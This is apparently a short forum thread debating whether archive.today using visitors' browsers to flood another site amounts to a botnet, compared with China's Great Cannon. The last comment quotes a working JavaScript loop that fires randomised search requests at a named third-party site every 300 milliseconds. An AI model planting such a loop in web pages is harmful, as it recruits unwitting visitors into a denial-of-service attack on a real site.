Does this mean that the Great Cannon of China is not a botnet because it stops working when you close your browser?
- croes 7mo agoDoes the Great Cannon of China coordinate the attacks? Does archive.today? Hijacking a software like the browser is something completely different to a simple JS on a website.

- croes 7mo agoHow does archive.today coordinate the attack?
- fastball 7mo agoBy telling visitor browsers to DoS the site.
- croes 7mo agoThat’s not really coordinating. It’s just a website with a simple request loop, not C&C server tells when the attacks have to happen. This doesn’t make your browser a bot setInterval(function() { fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), { referrerPolicy: "no-referrer", mode: "no-cors" }); }, 300);
